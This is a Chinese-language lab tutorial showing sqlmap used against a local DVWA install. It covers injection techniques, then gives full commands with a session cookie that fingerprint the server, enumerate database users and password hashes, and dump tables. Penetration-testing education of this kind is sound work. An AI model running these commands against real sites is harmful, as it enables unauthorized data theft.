sqlmap
sqlmap 是一种开源的渗透测试工具,可以自动检测和利用 Sql 注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描、发现并利用给定的 Url 的 Sql 注入漏洞,目前支持 mysql、 oracle、 PostgreSQL、 Microsoft SQL Server、 Microsoft Access 等主流数据库。 Sqlmap 使用 5 种 SQL 注入技术(不加参数默认测试所有注入技术):
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用union的情况下的注入。
堆查询注入,可以同时执行多条语句的执行时的注入。
本次实验我是在ubuntu16.04环境下做的,所以需要搭建sqlmap以及DVWA的sql inject模块。
-h是获取信息。可见搭建成功。
接下来搭建DVWA:
进入 Firefox 浏览器,输入网址 : localhost/dvwasql , 点击create/Reset Database创建数据库:
进入登录界面,默认用户名为 admin 密码为 password 。
将 Security 级别调整为 low
Sqlmap使用实战:
进入 SQL injection页面开始注入:
先按F12 打开Firefox自带的开发人员工具,并切换到网络模块:
先输入 1 ,查看回显 (URL中ID=1,说明php页面通过get方法传递参数):
可以看到开发者工具中已经捕获到相应的数据包,点击其中的类型为 html 的文件,从右边详情框获取Cookie,后面注入测试时会用到 (cookie 某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的加密数据,每个浏览器分配到的都不相同):
Python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" #注意参数必须使用双引号括起来
检测结果:
从上图可以看到 Sqlmap 已经获取到了如下信息:
DBMS 使用的是Mysql
Web 服务器操作系统是 Ubuntu 15.10
Web 容器是 Apache 2.4.12
Mysql 版本大于等于 5.0
当使用 Sqlmap 检测一个指定的 Url 后,它会将结果保存在本地,这样我们下次在检车这个 Url 的时候就可以立刻返回信息,节约大量时间。
5.2 使用 Sqlmap 进一步获取信息
使用-b --current-db --current-user 命令来分别获取服务器 banner 信息、当前数据库和当前用户:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -b --current-user --current-db
检测结果:
从上图可以看到,Sqlmap 近一步获取到如下信息:
Web容器banner信息:5.6.31-0ubuntu0.15.10.1
网站使用的数据库当前用户:root@localhost
网站使用的数据库名:dvwa
Sqlmap 还有一个非常厉害的命令 --users和--password ,可以尝试直接枚举 DBMS 的所有注册用户和对应的密码(猜解 password 字段时,因为使用了 hash 加密,所以 Sqlmap 会询问是否破解此 hash值,只需要按Enter使用缺省值就可以了):
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --users --password
检测结果:
从上图可以看到 Sqlmap 已经成功枚举出 DBMS 的所有注册用户和对应密码 hash 值(只是遗憾并没有破解成功,所以只给出了 hash 值):
5.3 使用 Sqlmap 暴库
使用 --dbs 命令枚举 DBMS 中的所有数据库名:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" --dbs
检测结果:
从上图可以看到该 DBMS 有以下数据库(实验楼环境可能会有不同):
dvwa
mysql
performance_schema
SQLINJECT
sqlol
我们可以选择感兴趣的数据库进一步获取信息,这里我们选择 dvwa 继续进行实验。 使用 -D 命令指定目标数据库,使用 --tables 枚举目标数据库中的数据表:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" --tables
检测结果:
从上图可以看到 dvwa 数据库中有两个数据表:
guestbook
users
同样我们可以选择目标数据表,获取其中的字段信息,这里我们选择 users 表: 使用 -T 命令指定目标数据表,使用 --columns命令枚举目标数据表中的字段信息:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" --columns
检测结果:
从上图可以看到,Sqlmap 不枚举了所有字段名,还给出了对应的字段类型,这里我就不再列举了。
我们再选择目标字段,猜解出它的值~ 使用 -C 命令指定目标字段,--dump 命令猜解其中的值:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" -C "user" --dump
检测结果:
从上图可以看到,Sqlmap 猜解出了5个用户:
1337
admin
gordonb
pablo
smithy
我们也可以一次猜解多个字段信息,使用,隔开就行了,列如:
python sqlmap.py -u "localhost/html/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=vnua5n6lp5gh66sjrn908d4nd1" -D "dvwa" -T "users" -C "first_name,last_name" --dump
检测结果:
从上图可以看到,Sqlmap 会以表格的形式显示对应字段的数据,非常直观。
来源:https://www.shiyanlou.com/courses/874/labs/3176/document
相关阅读
sqlmap依托于python,首先下载python 和 sqlmap下载地址python 安装一步步默认即可,安装完后将sqlmap 放入python根目录下这还没结束